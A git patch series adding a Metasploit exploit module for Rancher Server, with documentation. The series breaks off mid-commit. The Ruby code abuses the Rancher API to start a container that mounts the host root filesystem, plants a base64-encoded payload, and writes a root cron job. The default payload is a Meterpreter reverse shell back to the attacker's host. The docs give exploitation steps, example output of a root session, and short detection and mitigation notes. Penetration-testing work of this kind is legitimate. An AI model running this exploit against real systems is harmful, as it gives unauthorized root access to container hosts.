From 6a20e1ac7dd25c2884001ad945da5576d701f991 Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Fri, 28 Jul 2017 08:04:21 +0200 Subject: [PATCH 01/11] Add module Rancher Server - Docker Exploit --- modules/exploits/linux/http/rancher_server.rb | 190 ++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 modules/exploits/linux/http/rancher_server.rb diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb new file mode 100644 index 0000000000..e1cb26093e --- /dev/null +++ b/modules/exploits/linux/http/rancher_server.rb @@ -0,0 +1,190 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Rancher Server - Docker Exploit', + 'Description' => %q( + Utilizing Rancher Server, an attacker can create a docker container + with the '/' path mounted with read/write permissions on the host + server that is running the docker container. As the docker container + executes command as uid 0 it is honored by the host operating system + allowing the attacker to edit/create files owed by root. This exploit + abuses this to creates a cron job in the '/etc/cron.d/' path of the + host server. + + The Docker image should exist on the target system or be a valid image + from hub.docker.com. + ), + 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre + 'License' => MSF_LICENSE, + 'References' => [ + 'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface' + ], + 'Platform' => 'linux', + 'Targets' => [ + [ 'Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Payload' => { + 'Compat' => { + 'ConnectionType' => 'reverse noconn none tunnel' + } + } + }] + ], + 'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'python/meterpreter/reverse_tcp' }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 27, 2017')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]), + OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), + OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]), + OptString.new('CONTAINER_ID', [ false, 'container id you would like']), + OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']), + OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)']) + ] + ) + end + + def del_container(rancher_container_id, container_id) + res = send_request_raw( + 'method' => 'DELETE', + 'headers' => { 'Accept' => 'application/json' }, + 'uri' => normalize_uri(target_uri.path, 'containers', rancher_container_id) + ) + return vprint_good('The docker container has been removed.') if res && res.code == 200 + + print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.") + end + + def make_container_id + return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? + + rand_text_alpha_lower(8) + end + + def make_cmd(mnt_path, cron_path, payload_path) + vprint_status('Creating the docker container command') + echo_cron_path = mnt_path + cron_path + echo_payload_path = mnt_path + payload_path + + cron_command = "python #{payload_path}" + payload_data = payload.raw + + command = "echo \"#{payload_data}\" >> #{echo_payload_path} \&\& " + command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& " + command << "echo \"\" >> #{echo_cron_path} \&\& " + command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}" + + command + end + + def make_container(mnt_path, cron_path, payload_path, container_id) + vprint_status('Setting container json request variables') + { + 'instanceTriggeredStop' => 'stop', + 'startOnCreate' => true, + 'networkMode' => 'managed', + 'type' => 'container', + 'dataVolumes' => [ '/:' + mnt_path ], + 'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'], + 'name' => container_id, + 'command' => make_cmd(mnt_path, cron_path, payload_path), + 'entryPoint' => %w[sh -c] + } + end + + def check + res = send_request_raw( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'containers'), + 'headers' => { 'Accept' => 'application/json' } + ) + + if res.nil? + print_error('Failed to connect to the target') + return Exploit::CheckCode::Unknown + end + + if res.code == 401 and res.headers.to_json.include? 'X-Rancher-Version' + print_error('Authorization is required. Provide valid Rancher API Keys.') + return Exploit::CheckCode::Detected + end + + if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version' + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + unless check == Exploit::CheckCode::Appears + fail_with(Failure::Unknown, 'Failed to connect to the target') + end + + # create required information to create json container information + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + payload_path = '/tmp/' + rand_text_alpha(8) + mnt_path = '/mnt/' + rand_text_alpha(8) + container_id = make_container_id + + # deploy docker container + res = send_request_raw( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'containers'), + 'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' }, + 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json + ) + fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201 + + print_good('The docker container is created, waiting for it to deploy') + + # cleanup + register_files_for_cleanup(cron_path, payload_path) + + rancher_container_id = JSON.parse(res.body)['id'] + deleted_container = false + + sleep_time = 5 + wait_time = datastore['WAIT_TIMEOUT'] + vprint_status("Waiting up to #{wait_time} seconds until the docker container stops") + + while wait_time.positive? + sleep(sleep_time) + wait_time -= sleep_time + + res = send_request_raw( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'containers', '?name=' + container_id), + 'headers' => { 'Accept' => 'application/json' } + ) + next unless res.code == 200 and res.body.include? 'stopped' + + vprint_good('The docker container has stopped, now trying to remove it') + del_container(rancher_container_id, container_id) + deleted_container = true + wait_time = 0 + end + + # if container does not deploy, try to remove it and fail out + unless deleted_container + del_container(rancher_container_id, container_id) + fail_with(Failure::Unknown, "The docker container failed to start") + end + + print_status('Waiting for the cron job to run, can take up to 60 seconds') + end +end From d7d64286e2307d74a831b3b89f33e78674107ed7 Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Fri, 28 Jul 2017 08:04:59 +0200 Subject: [PATCH 02/11] Add documentation for exploit module Rancher Server - Docker Exploit --- .../exploit/linux/http/rancher_server.md | 146 ++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/rancher_server.md diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md new file mode 100644 index 0000000000..0fa4861669 --- /dev/null +++ b/documentation/modules/exploit/linux/http/rancher_server.md @@ -0,0 +1,146 @@ +# Vulnerable Application +Utilizing Rancher Server, an attacker can create a docker container +with the '/' path mounted with read/write permissions on the host +server that is running the docker container. As the docker container +executes command as uid 0 it is honored by the host operating system +allowing the attacker to edit/create files owed by root. This exploit +abuses this to creates a cron job in the '/etc/cron.d/' path of the +host server. + +The Docker image should exist on the target system or be a valid image +from hub.docker.com. + +## Rancher setup +Rancher is deployed as a set of Docker containers. Running Rancher is +as simple as launching two containers. One container as the management +server and another container on a node as an agent. + +This module was tested with Debian 9 and CentOS 7 as the host operating +system with Docker 17.06.1-ce and Rancher Server 1.6.2, all with +default installation. + +### Install Debian 9 +First [install Debian 9][1] with default task selection. This includes +the "*standard system utilities*". + +### Install Docker CE +Then install a supported version of [Docker on Debian system][2]. + +```bash +# TL;DR +apt-get remove docker docker-engine +apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common +curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - +apt-key fingerprint 0EBFCD88 +# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88. +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" +apt-get update +apt-get install docker-ce +docker run hello-world +``` + +### Rancher Server (Management) +I recommend doing a ['Rancher Server - Single Container (NON-HA)' +installation][3]. + +If Docker is installed, the command to start a single instance of +Rancher is simple. + +```bash +# TL;DR +sudo docker run -d --restart=unless-stopped -p 8080:8080 rancher/server +``` + +If all is passing navigate to `http://[ip]:8080/`. You should see the +Rancher Server UI web application. + +### Rancher Host (Agent) + +Add a [new host][4] to Rancher Server so that the Docker host can be managed. + +**Set Host Registration URL** + +The first time that you add a host, you may be required to set up the +Host Registration URL. + +* Navigate to Admin / Settings (`http://[ip]:8080/admin/settings`) +* Check if `"http://[ip]:8080/"` is set +* Click on Save. + +**Add new host** + +* Navigate to Infrastructure / Hosts (`http://[ip]:8080/env/1a5/infra/hosts`) +* Click on Add Host +* Copy the command from Point 5 (and remove sudo prefix) + `docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v1.2.2 http://[ip]:8080/v1/scripts/XXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXX` +* Paste and run the command on the host + +The new host should pop up on the Hosts screen within a minute. + +# Exploitation +This module is designed for the attacker to leverage, creation of a +docker container to gain root access on the rancher host. + +## Options +- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated +- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Rancher to deploy for this exploit. +- TARGETURI this is the Rancher Server API path. The default environment is /v1/projects/1a5 +- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. + +By default access control is disabled, but if enabled, you need API +Keys with at least "restrictive" permission in the environment. +See Rancher docs for [api-keys][5] and [membership-roles][6]. + +- HttpUsername is for your Access Key +- HttpPassword is for your Secret Key + +## Steps to exploit with module +- [ ] Start msfconsole +- [ ] use exploit/linux/http/rancher_server +- [ ] Set the options appropriately and set VERBOSE to true +- [ ] Verify it creates a docker container and it successfully runs +- [ ] After a minute a session should be opened from the agent server + +## Example Output +``` +msf > use exploit/linux/http/rancher_server +msf exploit(rancher_server) > set RHOST 192.168.91.111 +RHOST => 192.168.91.111 +msf exploit(rancher_server) > set PAYLOAD python/meterpreter/reverse_tcp +PAYLOAD => python/meterpreter/reverse_tcp +msf exploit(rancher_server) > set LHOST 192.168.91.1 +LHOST => 192.168.91.1 +msf exploit(rancher_server) > set VERBOSE true +VERBOSE => true +msf exploit(rancher_server) > check +[*] 192.168.91.111:8080 The target appears to be vulnerable. +msf exploit(rancher_server) > exploit + +[*] Started reverse TCP handler on 192.168.91.1:4444 +[*] Setting container json request variables +[*] Creating the docker container command +[+] The docker container is created, waiting for it to deploy +[*] Waiting up to 60 seconds for docker container to start +[+] The docker container has stopped, now trying to remove it +[+] The docker container has been removed. +[*] Waiting for the cron job to run, can take up to 60 seconds +[*] Sending stage (40747 bytes) to 192.168.91.111 +[*] Meterpreter session 1 opened (192.168.91.1:4444 -> 192.168.91.111:49948) at 2017-07-27 22:18:00 +0200 +[+] Deleted /etc/cron.d/wlHVKGMA +[+] Deleted /tmp/jxKUxUyN + +meterpreter > sysinfo +Computer : rancher +OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` + +[1]:https://www.debian.org/releases/stretch/amd64/index.html.en +[2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/ +[3]:http://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha +[4]:http://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host +[5]:http://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/ +[6]:http://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles From b78cb12546ef91f44ccab0b80f5eef9c17111d7b Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Wed, 2 Aug 2017 18:06:48 +0200 Subject: [PATCH 03/11] Ruby 2.2 support. See #8792 --- modules/exploits/linux/http/rancher_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb index e1cb26093e..bf0ed53344 100644 --- a/modules/exploits/linux/http/rancher_server.rb +++ b/modules/exploits/linux/http/rancher_server.rb @@ -162,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Remote wait_time = datastore['WAIT_TIMEOUT'] vprint_status("Waiting up to #{wait_time} seconds until the docker container stops") - while wait_time.positive? + while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time From 5ae708081d4b982e81958b1cfeb1ee12d7715537 Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Mon, 11 Sep 2017 23:25:10 +0200 Subject: [PATCH 04/11] Wording, reviewer remarks --- .../modules/exploit/linux/http/rancher_server.md | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md index 0fa4861669..ec26f3ba53 100644 --- a/documentation/modules/exploit/linux/http/rancher_server.md +++ b/documentation/modules/exploit/linux/http/rancher_server.md @@ -3,7 +3,7 @@ Utilizing Rancher Server, an attacker can create a docker container with the '/' path mounted with read/write permissions on the host server that is running the docker container. As the docker container executes command as uid 0 it is honored by the host operating system -allowing the attacker to edit/create files owed by root. This exploit +allowing the attacker to edit/create files owned by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. @@ -78,13 +78,12 @@ Host Registration URL. The new host should pop up on the Hosts screen within a minute. # Exploitation -This module is designed for the attacker to leverage, creation of a -docker container to gain root access on the rancher host. +This module is designed to gain root access on a Rancher Host. ## Options -- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated -- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Rancher to deploy for this exploit. -- TARGETURI this is the Rancher Server API path. The default environment is /v1/projects/1a5 +- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated. +- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit. +- TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`. - WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. By default access control is disabled, but if enabled, you need API From cc98e80002a43094ccd2e1560ec315d84a580942 Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Thu, 28 Sep 2017 20:50:18 +0200 Subject: [PATCH 05/11] Change arch to ARCH_X64 --- .../exploit/linux/http/rancher_server.md | 13 ++++----- modules/exploits/linux/http/rancher_server.rb | 28 ++++++------------- 2 files changed, 14 insertions(+), 27 deletions(-) diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md index ec26f3ba53..fa53ac0c57 100644 --- a/documentation/modules/exploit/linux/http/rancher_server.md +++ b/documentation/modules/exploit/linux/http/rancher_server.md @@ -105,8 +105,8 @@ See Rancher docs for [api-keys][5] and [membership-roles][6]. msf > use exploit/linux/http/rancher_server msf exploit(rancher_server) > set RHOST 192.168.91.111 RHOST => 192.168.91.111 -msf exploit(rancher_server) > set PAYLOAD python/meterpreter/reverse_tcp -PAYLOAD => python/meterpreter/reverse_tcp +msf exploit(rancher_server) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +PAYLOAD => linux/x64/meterpreter/reverse_tcp msf exploit(rancher_server) > set LHOST 192.168.91.1 LHOST => 192.168.91.1 msf exploit(rancher_server) > set VERBOSE true @@ -129,11 +129,10 @@ msf exploit(rancher_server) > exploit [+] Deleted /tmp/jxKUxUyN meterpreter > sysinfo -Computer : rancher -OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) -Architecture : x64 -System Language : en_US -Meterpreter : python/linux +Computer : rancher +OS : Debian 9.1 (Linux 4.9.0-3-amd64) +Architecture : x64 +Meterpreter : x64/linux meterpreter > ``` diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb index bf0ed53344..3efcbfb5e7 100644 --- a/modules/exploits/linux/http/rancher_server.rb +++ b/modules/exploits/linux/http/rancher_server.rb @@ -30,26 +30,17 @@ class MetasploitModule < Msf::Exploit::Remote 'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface' ], 'Platform' => 'linux', - 'Targets' => [ - [ 'Python', { - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'Payload' => { - 'Compat' => { - 'ConnectionType' => 'reverse noconn none tunnel' - } - } - }] - ], - 'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'python/meterpreter/reverse_tcp' }, - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jul 27, 2017')) + 'Arch' => [ARCH_X64], + 'Targets' => [[ 'Linux', {} ]], + 'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 27, 2017')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]), - OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]), + OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]), OptString.new('CONTAINER_ID', [ false, 'container id you would like']), OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']), @@ -80,13 +71,10 @@ class MetasploitModule < Msf::Exploit::Remote echo_cron_path = mnt_path + cron_path echo_payload_path = mnt_path + payload_path - cron_command = "python #{payload_path}" - payload_data = payload.raw - - command = "echo \"#{payload_data}\" >> #{echo_payload_path} \&\& " + command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& " command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& " command << "echo \"\" >> #{echo_cron_path} \&\& " - command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}" + command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}" command end From 40c58e30173fd2feb583b09eb1c804de0eff0ef9 Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Thu, 28 Sep 2017 23:43:45 +0200 Subject: [PATCH 06/11] Function for selecting the target host --- .../exploit/linux/http/rancher_server.md | 3 +++ modules/exploits/linux/http/rancher_server.rb | 22 +++++++++++++++++-- 2 files changed, 23 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md index fa53ac0c57..e7d4fb04fa 100644 --- a/documentation/modules/exploit/linux/http/rancher_server.md +++ b/documentation/modules/exploit/linux/http/rancher_server.md @@ -84,6 +84,7 @@ This module is designed to gain root access on a Rancher Host. - CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated. - DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit. - TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`. +- TARGETHOST is the Rancher Host ID for the target system. The default host is `1h1`. - WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. By default access control is disabled, but if enabled, you need API @@ -112,6 +113,8 @@ LHOST => 192.168.91.1 msf exploit(rancher_server) > set VERBOSE true VERBOSE => true msf exploit(rancher_server) > check + +[+] TARGETHOST 1h1 found on TARGETURI /v1/projects/1a5 [*] 192.168.91.111:8080 The target appears to be vulnerable. msf exploit(rancher_server) > exploit diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb index 3efcbfb5e7..44180f4f2d 100644 --- a/modules/exploits/linux/http/rancher_server.rb +++ b/modules/exploits/linux/http/rancher_server.rb @@ -40,6 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]), + OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]), OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]), OptString.new('CONTAINER_ID', [ false, 'container id you would like']), @@ -85,6 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote 'instanceTriggeredStop' => 'stop', 'startOnCreate' => true, 'networkMode' => 'managed', + 'requestedHostId' => datastore['TARGETHOST'], 'type' => 'container', 'dataVolumes' => [ '/:' + mnt_path ], 'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'], @@ -97,7 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_raw( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'containers'), + 'uri' => normalize_uri('/v1/projects'), 'headers' => { 'Accept' => 'application/json' } ) @@ -112,7 +114,23 @@ class MetasploitModule < Msf::Exploit::Remote end if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version' - return Exploit::CheckCode::Appears + # get all rancher environments + projects = JSON.parse(res.body)['data'].map{ |data| data['id'] } + # get all hosts from environments + target_found = false + projects.each do |project| + res = send_request_raw( + 'method' => 'GET', + 'uri' => normalize_uri('/v1/projects', project, 'hosts'), + 'headers' => { 'Accept' => 'application/json' } + ) + hosts = JSON.parse(res.body)['data'].map{ |data| data['id'] } + hosts.each do |host| + target_found = true + print_good ("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}") + end + end + return Exploit::CheckCode::Appears if target_found == true end Exploit::CheckCode::Safe From 3a1a437ac7a2aee75819f1edd6ea1529bfe344b4 Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Thu, 28 Sep 2017 23:53:45 +0200 Subject: [PATCH 07/11] Rubocop Stlye --- modules/exploits/linux/http/rancher_server.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb index 44180f4f2d..bd0ed3a8ac 100644 --- a/modules/exploits/linux/http/rancher_server.rb +++ b/modules/exploits/linux/http/rancher_server.rb @@ -115,19 +115,19 @@ class MetasploitModule < Msf::Exploit::Remote if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version' # get all rancher environments - projects = JSON.parse(res.body)['data'].map{ |data| data['id'] } + projects = JSON.parse(res.body)['data'].map { |data| data['id'] } # get all hosts from environments target_found = false projects.each do |project| res = send_request_raw( - 'method' => 'GET', - 'uri' => normalize_uri('/v1/projects', project, 'hosts'), - 'headers' => { 'Accept' => 'application/json' } + 'method' => 'GET', + 'uri' => normalize_uri('/v1/projects', project, 'hosts'), + 'headers' => { 'Accept' => 'application/json' } ) - hosts = JSON.parse(res.body)['data'].map{ |data| data['id'] } + hosts = JSON.parse(res.body)['data'].map { |data| data['id'] } hosts.each do |host| target_found = true - print_good ("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}") + print_good("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}") end end return Exploit::CheckCode::Appears if target_found == true From f973ff13b6c4a91248e9f75e6492e852b9c5ee6a Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Fri, 29 Sep 2017 00:55:53 +0200 Subject: [PATCH 08/11] Add some lines to Exploit Detection and Mitigation --- .../exploit/linux/http/rancher_server.md | 24 +++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md index e7d4fb04fa..ed414ab7ab 100644 --- a/documentation/modules/exploit/linux/http/rancher_server.md +++ b/documentation/modules/exploit/linux/http/rancher_server.md @@ -138,10 +138,26 @@ Architecture : x64 Meterpreter : x64/linux meterpreter > ``` +## Exploit Detection +Rancher Server has an [audit log][7]. While running this module two +events (create and delete) were logged. Even though the container is +deleted, its still able to be viewed from the link in the audit log. + +## Mitigation +* Do not deploy a Rancher Host on the same host where the Rancher + Server is. Your entire rancher infrastructure is in [danger][8]. +* Only allow trusted users to have more permissions than read-only. + +Docker protection such as Username Namespaces could not be applied +because Rancher Agents run as a privileged container. + [1]:https://www.debian.org/releases/stretch/amd64/index.html.en [2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/ -[3]:http://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha -[4]:http://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host -[5]:http://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/ -[6]:http://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles +[3]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha +[4]:https://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host +[5]:https://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/ +[6]:https://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles +[7]:https://rancher.com/docs/rancher/v1.6/en/rancher-services/audit-log/ +[8]:https://rancher.com/docs/rancher/v1.6/en/faqs/troubleshooting/#help-i-turned-on-access-controldocsrancherv16enconfigurationaccess-control-and-can-no-longer-access-rancher-how-do-i-reset-rancher-to-disable-access-control +[9]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/selinux/ From 701d628a1b3cfa9b39d85d6fba1e80d58bccb85c Mon Sep 17 00:00:00 2001 From: Martin Pizala Date: Sun, 1 Oct 2017 02:04:10 +0200 Subject: [PATCH 09/11] Features for selecting the target --- .../exploit/linux/http/rancher_server.md | 16 +++-- modules/exploits/linux/http/rancher_server.rb | 63 ++++++++++++++----- 2 files changed, 58 insertions(+), 21 deletions(-) diff --git a/documentation/modules/exploit/linux/http/rancher_server.md b/documentation/modules/exploit/linux/http/rancher_server.md index ed414ab7ab..8edc9376cb 100644 --- a/documentation/modules/exploit/linux/http/rancher_server.md +++ b/documentation/modules/exploit/linux/http/rancher_server.md @@ -10,6 +10,9 @@ host server. The Docker image should exist on the target system or be a valid image from hub.docker.com. +Use `check` with verbose mode to get a list of exploitable Rancher +Hosts managed by the target system. + ## Rancher setup Rancher is deployed as a set of Docker containers. Running Rancher is as simple as launching two containers. One container as the management @@ -83,9 +86,8 @@ This module is designed to gain root access on a Rancher Host. ## Options - CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated. - DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit. -- TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`. -- TARGETHOST is the Rancher Host ID for the target system. The default host is `1h1`. -- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. +- TARGETENV this is the target Rancher Environment. The default environment is `1a5`. +- TARGETHOST is the target Rancher Host. The default host is `1h1`. By default access control is disabled, but if enabled, you need API Keys with at least "restrictive" permission in the environment. @@ -94,6 +96,10 @@ See Rancher docs for [api-keys][5] and [membership-roles][6]. - HttpUsername is for your Access Key - HttpPassword is for your Secret Key +Advanced Options +- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`. +- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. + ## Steps to exploit with module - [ ] Start msfconsole - [ ] use exploit/linux/http/rancher_server @@ -114,8 +120,8 @@ msf exploit(rancher_server) > set VERBOSE true VERBOSE => true msf exploit(rancher_server) > check -[+] TARGETHOST 1h1 found on TARGETURI /v1/projects/1a5 -[*] 192.168.91.111:8080 The target appears to be vulnerable. +[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted +[*] 192.168.91.111:8080 The target is vulnerable. msf exploit(rancher_server) > exploit [*] Started reverse TCP handler on 192.168.91.1:4444 diff --git a/modules/exploits/linux/http/rancher_server.rb b/modules/exploits/linux/http/rancher_server.rb index bd0ed3a8ac..f010b7124b 100644 --- a/modules/exploits/linux/http/rancher_server.rb +++ b/modules/exploits/linux/http/rancher_server.rb @@ -23,6 +23,9 @@ class MetasploitModule < Msf::Exploit::Remote The Docker image should exist on the target system or be a valid image from hub.docker.com. + + Use `check` with verbose mode to get a list of exploitable Rancher + Hosts managed by the target system. ), 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre 'License' => MSF_LICENSE, @@ -39,22 +42,27 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]), + OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]), OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]), OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), - OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]), OptString.new('CONTAINER_ID', [ false, 'container id you would like']), OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']), OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)']) ] ) + register_advanced_options( + [ + OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]), + OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]) + ] + ) end def del_container(rancher_container_id, container_id) res = send_request_raw( 'method' => 'DELETE', 'headers' => { 'Accept' => 'application/json' }, - 'uri' => normalize_uri(target_uri.path, 'containers', rancher_container_id) + 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id) ) return vprint_good('The docker container has been removed.') if res && res.code == 200 @@ -99,7 +107,7 @@ class 